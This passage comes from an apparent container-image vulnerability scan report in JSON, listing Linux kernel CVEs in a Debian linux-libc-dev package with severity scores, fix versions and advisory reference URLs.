"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://developer.arm.com/documentation/112137", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://linux.oracle.com/cve/CVE-2025-10263.html", "https://linux.oracle.com/errata/ELSA-2026-50374.html", "https://lore.kernel.org/all/178108852371.786933.719826336963783417.b4-ty@kernel.org/", "https://nvd.nist.gov/vuln/detail/CVE-2025-10263", "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-10263.json", "https://support.arm.com/documentation/112137/latest/", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8801-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2025-10263", "https://www.openwall.com/lists/oss-security/2026/06/09/13", "https://xenbits.xen.org/xsa/advisory-493.html" ], "PublishedDate": "2026-06-09T10:16:33.003Z", "LastModifiedDate": "2026-09-04T13:17:52.707Z" }, { "VulnerabilityID": "CVE-2025-21863", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-21863", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fafec4178e742b01f114f5958f25ac0dd993f69129c65bf90dbff65d86a6a278", "Title": "kernel: io_uring: prevent opcode speculation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring: prevent opcode speculation\n\nsqe-\u003eopcode is used for different tables, make sure we santitise it\nagainst speculations.", "Severity": "HIGH", "VendorSeverity": { "alma": 2, "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:20518", "https://access.redhat.com/security/cve/CVE-2025-21863", "https://bugzilla.redhat.com/2298169", "https://bugzilla.redhat.com/2312077", "https://bugzilla.redhat.com/2313092", "https://bugzilla.redhat.com/2320172", "https://bugzilla.redhat.com/2320259", "https://bugzilla.redhat.com/2320455", "https://bugzilla.redhat.com/2320616", "https://bugzilla.redhat.com/2320722", "https://bugzilla.redhat.com/2324549", "https://bugzilla.redhat.com/2327203", "https://bugzilla.redhat.com/2327374", "https://bugzilla.redhat.com/2327887", "https://bugzilla.redhat.com/2329918", "https://bugzilla.redhat.com/2330341", "https://bugzilla.redhat.com/2331326", "https://bugzilla.redhat.com/2334357", "https://bugzilla.redhat.com/2334396", "https://bugzilla.redhat.com/2334415", "https://bugzilla.redhat.com/2334439", "https://bugzilla.redhat.com/2334537", "https://bugzilla.redhat.com/2334547", "https://bugzilla.redhat.com/2334548", "https://bugzilla.redhat.com/2334560", "https://bugzilla.redhat.com/2334676", "https://bugzilla.redhat.com/2334795", "https://bugzilla.redhat.com/2334829", "https://bugzilla.redhat.com/2336541", "https://bugzilla.redhat.com/2337121", "https://bugzilla.redhat.com/2337124", "https://bugzilla.redhat.com/2338814", "https://bugzilla.redhat.com/2338828", "https://bugzilla.redhat.com/2338832", "https://bugzilla.redhat.com/2343172", "https://bugzilla.redhat.com/2343175", "https://bugzilla.redhat.com/2344684", "https://bugzilla.redhat.com/2344687", "https://bugzilla.redhat.com/2345240", "https://bugzilla.redhat.com/2346272", "https://bugzilla.redhat.com/2347707", "https://bugzilla.redhat.com/2347753", "https://bugzilla.redhat.com/2347759", "https://bugzilla.redhat.com/2347781", "https://bugzilla.redhat.com/2347807", "https://bugzilla.redhat.com/2347859", "https://bugzilla.redhat.com/2347919", "https://bugzilla.redhat.com/2347968", "https://bugzilla.redhat.com/2348022", "https://bugzilla.redhat.com/2348071", "https://bugzilla.redhat.com/2348238", "https://bugzilla.redhat.com/2348240", "https://bugzilla.redhat.com/2348279", "https://bugzilla.redhat.com/2348515", "https://bugzilla.redhat.com/2348523", "https://bugzilla.redhat.com/2348528", "https://bugzilla.redhat.com/2348541", "https://bugzilla.redhat.com/2348543", "https://bugzilla.redhat.com/2348547", "https://bugzilla.redhat.com/2348550", "https://bugzilla.redhat.com/2348554", "https://bugzilla.redhat.com/2348556", "https://bugzilla.redhat.com/2348566", "https://bugzilla.redhat.com/2348573", "https://bugzilla.redhat.com/2348574", "https://bugzilla.redhat.com/2348577", "https://bugzilla.redhat.com/2348578", "https://bugzilla.redhat.com/2348581", "https://bugzilla.redhat.com/2348584", "https://bugzilla.redhat.com/2348585", "https://bugzilla.redhat.com/2348587", "https://bugzilla.redhat.com/2348595", "https://bugzilla.redhat.com/2348597", "https://bugzilla.redhat.com/2348600", "https://bugzilla.redhat.com/2348601", "https://bugzilla.redhat.com/2348615", "https://bugzilla.redhat.com/2348620", "https://bugzilla.redhat.com/2348625", "https://bugzilla.redhat.com/2348634", "https://bugzilla.redhat.com/2348645", "https://bugzilla.redhat.com/2348650", "https://bugzilla.redhat.com/2348654", "https://bugzilla.redhat.com/2348901", "https://bugzilla.redhat.com/2350363", "https://bugzilla.redhat.com/2350367", "https://bugzilla.redhat.com/2350374", "https://bugzilla.redhat.com/2350375", "https://bugzilla.redhat.com/2350386", "https://bugzilla.redhat.com/2350388", "https://bugzilla.redhat.com/2350392", "https://bugzilla.redhat.com/2350396", "https://bugzilla.redhat.com/2350397", "https://bugzilla.redhat.com/2350400", "https://bugzilla.redhat.com/2350585", "https://bugzilla.redhat.com/2350589", "https://bugzilla.redhat.com/2350725", "https://bugzilla.redhat.com/2350726", "https://bugzilla.redhat.com/2351606", "https://bugzilla.redhat.com/2351608", "https://bugzilla.redhat.com/2351612", "https://bugzilla.redhat.com/2351613", "https://bugzilla.redhat.com/2351616", "https://bugzilla.redhat.com/2351618", "https://bugzilla.redhat.com/2351620", "https://bugzilla.redhat.com/2351624", "https://bugzilla.redhat.com/2351625", "https://bugzilla.redhat.com/2351629", "https://bugzilla.redhat.com/2351633", "https://bugzilla.redhat.com/2360215", "https://bugzilla.redhat.com/2363380", "https://bugzilla.redhat.com/2369184", "https://bugzilla.redhat.com/2376076", "https://bugzilla.redhat.com/2383441", "https://bugzilla.redhat.com/show_bug.cgi?id=2298169", "https://bugzilla.redhat.com/show_bug.cgi?id=2312077", "https://bugzilla.redhat.com/show_bug.cgi?id=2313092", "https://bugzilla.redhat.com/show_bug.cgi?id=2320172", "https://bugzilla.redhat.com/show_bug.cgi?id=2320259", "https://bugzilla.redhat.com/show_bug.cgi?id=2320455", "https://bugzilla.redhat.com/show_bug.cgi?id=2320616", "https://bugzilla.redhat.com/show_bug.cgi?id=2320722", "https://bugzilla.redhat.com/show_bug.cgi?id=2324549", "https://bugzilla.redhat.com/show_bug.cgi?id=2327203", "https://bugzilla.redhat.com/show_bug.cgi?id=2327374", "https://bugzilla.redhat.com/show_bug.cgi?id=2327887", "https://bugzilla.redhat.com/show_bug.cgi?id=2329918", "https://bugzilla.redhat.com/show_bug.cgi?id=2330341", "https://bugzilla.redhat.com/show_bug.cgi?id=2331326", "https://bugzilla.redhat.com/show_bug.cgi?id=2334357", "https://bugzilla.redhat.com/show_bug.cgi?id=2334396", "https://bugzilla.redhat.com/show_bug.cgi?id=2334415", "https://bugzilla.redhat.com/show_bug.cgi?id=2334439", "https://bugzilla.redhat.com/show_bug.cgi?id=2334537", "https://bugzilla.redhat.com/show_bug.cgi?id=2334547", "https://bugzilla.redhat.com/show_bug.cgi?id=2334548", "https://bugzilla.redhat.com/show_bug.cgi?id=2334560", "https://bugzilla.redhat.com/show_bug.cgi?id=2334676", "https://bugzilla.redhat.com/show_bug.cgi?id=2334795", "https://bugzilla.redhat.com/show_bug.cgi?id=2334829", "https://bugzilla.redhat.com/show_bug.cgi?id=2336541", "https://bugzilla.redhat.com/show_bug.cgi?id=2337121", "https://bugzilla.redhat.com/show_bug.cgi?id=2337124", "https://bugzilla.redhat.com/show_bug.cgi?id=2338814", "https://bugzilla.redhat.com/show_bug.cgi?id=2338828", "https://bugzilla.redhat.com/show_bug.cgi?id=2338832", "https://bugzilla.redhat.com/show_bug.cgi?id=2343172", "https://bugzilla.redhat.com/show_bug.cgi?id=2343175", "https://bugzilla.redhat.com/show_bug.cgi?id=2344684", "https://bugzilla.redhat.com/show_bug.cgi?id=2344687", "https://bugzilla.redhat.com/show_bug.cgi?id=2345240", "https://bugzilla.redhat.com/show_bug.cgi?id=2346272", "https://bugzilla.redhat.com/show_bug.cgi?id=2347707", "https://bugzilla.redhat.com/show_bug.cgi?id=2347753", "https://bugzilla.redhat.com/show_bug.cgi?id=2347759", "https://bugzilla.redhat.com/show_bug.cgi?id=2347781", "https://bugzilla.redhat.com/show_bug.cgi?id=2347807", "https://bugzilla.redhat.com/show_bug.cgi?id=2347859", "https://bugzilla.redhat.com/show_bug.cgi?id=2347919", "https://bugzilla.redhat.com/show_bug.cgi?id=2347968", "https://bugzilla.redhat.com/show_bug.cgi?id=2348022", "https://bugzilla.redhat.com/show_bug.cgi?id=2348071", "https://bugzilla.redhat.com/show_bug.cgi?id=2348238", "https://bugzilla.redhat.com/show_bug.cgi?id=2348240", "https://bugzilla.redhat.com/show_bug.cgi?id=2348279", "https://bugzilla.redhat.com/show_bug.cgi?id=2348515", "https://bugzilla.redhat.com/show_bug.cgi?id=2348523", "https://bugzilla.redhat.com/show_bug.cgi?id=2348528", "https://bugzilla.redhat.com/show_bug.cgi?id=2348541", "https://bugzilla.redhat.com/show_bug.cgi?id=2348543", "https://bugzilla.redhat.com/show_bug.cgi?id=2348547", "https://bugzilla.redhat.com/show_bug.cgi?id=2348550", "https://bugzilla.redhat.com/show_bug.cgi?id=2348554", "https://bugzilla.redhat.com/show_bug.cgi?id=2348556", "https://bugzilla.redhat.com/show_bug.cgi?id=2348566", "https://bugzilla.redhat.com/show_bug.cgi?id=2348573", "https://bugzilla.redhat.com/show_bug.cgi?id=2348574", "https://bugzilla.redhat.com/show_bug.cgi?id=2348577", "https://bugzilla.redhat.com/show_bug.cgi?id=2348578", "https://bugzilla.redhat.com/show_bug.cgi?id=2348581", "https://bugzilla.redhat.com/show_bug.cgi?id=2348584", "https://bugzilla.redhat.com/show_bug.cgi?id=2348585", "https://bugzilla.redhat.com/show_bug.cgi?id=2348587", "https://bugzilla.redhat.com/show_bug.cgi?id=2348595", "https://bugzilla.redhat.com/show_bug.cgi?id=2348597", "https://bugzilla.redhat.com/show_bug.cgi?id=2348600", "https://bugzilla.redhat.com/show_bug.cgi?id=2348601", "https://bugzilla.redhat.com/show_bug.cgi?id=2348615", "https://bugzilla.redhat.com/show_bug.cgi?id=2348620", "https://bugzilla.redhat.com/show_bug.cgi?id=2348625", "https://bugzilla.redhat.com/show_bug.cgi?id=2348634", "https://bugzilla.redhat.com/show_bug.cgi?id=2348645", "https://bugzilla.redhat.com/show_bug.cgi?id=2348650", "https://bugzilla.redhat.com/show_bug.cgi?id=2348654", "https://bugzilla.redhat.com/show_bug.cgi?id=2348901", "https://bugzilla.redhat.com/show_bug.cgi?id=2350363", "https://bugzilla.redhat.com/show_bug.cgi?id=2350367", "https://bugzilla.redhat.com/show_bug.cgi?id=2350374", "https://bugzilla.redhat.com/show_bug.cgi?id=2350375", "https://bugzilla.redhat.com/show_bug.cgi?id=2350386", "https://bugzilla.redhat.com/show_bug.cgi?id=2350388", "https://bugzilla.redhat.com/show_bug.cgi?id=2350392", "https://bugzilla.redhat.com/show_bug.cgi?id=2350396", "https://bugzilla.redhat.com/show_bug.cgi?id=2350397", "https://bugzilla.redhat.com/show_bug.cgi?id=2350400", "https://bugzilla.redhat.com/show_bug.cgi?id=2350585", "https://bugzilla.redhat.com/show_bug.cgi?id=2350589", "https://bugzilla.redhat.com/show_bug.cgi?id=2350725", "https://bugzilla.redhat.com/show_bug.cgi?id=2350726", "https://bugzilla.redhat.com/show_bug.cgi?id=2351606", "https://bugzilla.redhat.com/show_bug.cgi?id=2351608", "https://bugzilla.redhat.com/show_bug.cgi?id=2351612", "https://bugzilla.redhat.com/show_bug.cgi?id=2351613", "https://bugzilla.redhat.com/show_bug.cgi?id=2351616", "https://bugzilla.redhat.com/show_bug.cgi?id=2351618", "https://bugzilla.redhat.com/show_bug.cgi?id=2351620", "https://bugzilla.redhat.com/show_bug.cgi?id=2351624", "https://bugzilla.redhat.com/show_bug.cgi?id=2351625", "https://bugzilla.redhat.com/show_bug.cgi?id=2351629", "https://bugzilla.redhat.com/show_bug.cgi?id=2351633", "https://bugzilla.redhat.com/show_bug.cgi?id=2356647", "https://bugzilla.redhat.com/show_bug.cgi?id=2360215", "https://bugzilla.redhat.com/show_bug.cgi?id=2360223", "https://bugzilla.redhat.com/show_bug.cgi?id=2363380", "https://bugzilla.redhat.com/show_bug.cgi?id=2369184", "https://bugzilla.redhat.com/show_bug.cgi?id=2376076", "https://bugzilla.redhat.com/show_bug.cgi?id=2383441", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48830", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49269", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49353", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49357", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49437", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49443", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49623", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49627", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49643", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49648", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49657", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49672", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36350", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36357", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-46689", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-46744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47727", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-49570", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-49864", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50195", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50294", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-52332", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53090", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53119", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53170", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53229", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53241", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-54456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56645", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56672", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56675", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56690", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56709", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56739", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56786", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57981", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57986", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57987", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57988", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57989", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57995", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57998", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58057", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58062", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58068", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58077", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58088", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21647", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21648", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21672", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21691", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21693", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21696", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21702", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21714", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21726", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21728", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21729", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21738", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21739", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21765", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21786", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21790", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21791", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21795", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21796", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21806", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21828", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21837", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21839", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21848", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21851", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21855", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21863", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21864", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21902", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22097", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38396", "https://errata.almalinux.org/9/ALSA-2025-20518.html", "https://errata.rockylinux.org/RLSA-2025:20518", "https://git.kernel.org/linus/1e988c3fe1264708f4f92109203ac5b1d65de50b%20%286.14-rc4%29", "https://git.kernel.org/stable/c/18eae8420081ef8e043ad455937bfb470ef08607", "https://git.kernel.org/stable/c/1e988c3fe1264708f4f92109203ac5b1d65de50b", "https://git.kernel.org/stable/c/506b9b5e8c2d2a411ea8fe361333f5081c56d23a", "https://git.kernel.org/stable/c/87e9eef43c758da267f6332678058a79764c7eba", "https://git.kernel.org/stable/c/b9826e3b26ec031e9063f64a7c735449c43955e4", "https://git.kernel.org/stable/c/d261ead565a080e3411b0dd04e6d58a52471cac8", "https://git.kernel.org/stable/c/fdbfd52bd8b85ed6783365ff54c82ab7067bd61b", "https://linux.oracle.com/cve/CVE-2025-21863.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2025031217-CVE-2025-21863-a73a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-21863", "https://ubuntu.com/security/notices/USN-7521-1", "https://ubuntu.com/security/notices/USN-7521-2", "https://ubuntu.com/security/notices/USN-7521-3", "https://ubuntu.com/security/notices/USN-7703-1", "https://ubuntu.com/security/notices/USN-7703-2", "https://ubuntu.com/security/notices/USN-7703-3", "https://ubuntu.com/security/notices/USN-7703-4", "https://ubuntu.com/security/notices/USN-7719-1", "https://ubuntu.com/security/notices/USN-7737-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2025-21863" ], "PublishedDate": "2025-03-12T10:15:19.387Z", "LastModifiedDate": "2026-10-15T02:17:39.827Z" }, { "VulnerabilityID": "CVE-2025-21927", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-21927", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0edfbc4124e2d38277edc371df59521112847968e136d60d4ccac03f3533c369", "Title": "kernel: nvme-tcp: fix potential memory corruption in nvme_tcp_recv_pdu()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-tcp: fix potential memory corruption in nvme_tcp_recv_pdu()\n\nnvme_tcp_recv_pdu() doesn't check the validity of the header length.\nWhen header digests are enabled, a target might send a packet with an\ninvalid header length (e.g. 255), causing nvme_tcp_verify_hdgst()\nto access memory outside the allocated area and cause memory corruptions\nby overwriting it with the calculated digest.\n\nFix this by rejecting packets with an unexpected header length.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21927", "https://access.redhat.com/errata/RHSA-2025:4341", "https://access.redhat.com/errata/RHSA-2025:7423", "https://access.redhat.com/security/cve/CVE-2025-21927", "https://bugzilla.redhat.com/2338813", "https://bugzilla.redhat.com/2348565", "https://bugzilla.redhat.com/2348590", "https://bugzilla.redhat.com/2350364", "https://bugzilla.redhat.com/2356593", "https://bugzilla.redhat.com/2356908", "https://bugzilla.redhat.com/show_bug.cgi?id=2305437", "https://bugzilla.redhat.com/show_bug.cgi?id=2305467", "https://bugzilla.redhat.com/show_bug.cgi?id=2309853", "https://bugzilla.redhat.com/show_bug.cgi?id=2315178", "https://bugzilla.redhat.com/show_bug.cgi?id=2356593", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42292", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42322", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-44990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-46826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21927", "https://errata.almalinux.org/9/ALSA-2025-7423.html", "https://errata.rockylinux.org/RLSA-2025:4341", "https://git.kernel.org/linus/ad95bab0cd28ed77c2c0d0b6e76e03e031391064%20%286.14-rc6%29", "https://git.kernel.org/stable/c/22b06c89aa6b2d1ecb8aea72edfb9d53af8d5126", "https://git.kernel.org/stable/c/3b54109b2f771f74fd53b027429796326f84ab36", "https://git.kernel.org/stable/c/9d22cf5cc94cd7dee84773ec41db78a46107dfa3", "https://git.kernel.org/stable/c/9fbc953d6b38bc824392e01850f0aeee3b348722", "https://git.kernel.org/stable/c/ad95bab0cd28ed77c2c0d0b6e76e03e031391064", 